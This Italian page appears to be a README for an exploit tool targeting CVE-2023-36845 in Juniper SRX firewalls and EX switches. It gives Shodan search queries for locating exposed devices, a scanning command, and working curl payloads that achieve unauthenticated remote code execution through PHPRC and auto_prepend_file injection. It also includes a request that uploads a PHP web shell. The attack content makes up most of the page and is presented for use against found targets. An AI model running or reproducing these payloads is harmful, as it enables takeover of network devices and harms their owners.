CVE-2023-36845

Descrizione

CVE-2023-36845 rappresenta una notevole vulnerabilità di manipolazione delle variabili d'ambiente PHP che interessa i firewall Juniper SRX e gli switch EX. Sebbene Juniper abbia classificato questa vulnerabilità come di gravità media, in questo articolo chiariremo come questa singola vulnerabilità possa essere sfruttata per l'esecuzione remota di codice non autenticata.

Ricerca - Shodan

title:"Juniper Web Device Manager"

title:"Juniper" http.favicon.hash:2141724739

Utilizzo 🛠

Rilevamento

python3 CVE-2023-36845.py -f targets.txt -o output.txt

RCE 🧨

Opzione 1

È possibile utilizzare qualsiasi wrapper di protocollo in combinazione con auto_prepend_file. La scelta più adatta per questa operazione è il protocollo data://, che consente di fornire inline il "file secondario". Ecco una rappresentazione sofisticata di questo exploit, che esegue il <? phpinfo(); ?> incorporato nello schema data://:

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

Esegui il comando whoami

<?php shell_exec('whoami'); ?>

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'

Opzione 2

Carica un file

<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>

$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'

Parametri 🧰

Contattami 📇

LinkedIn - Milan Jovic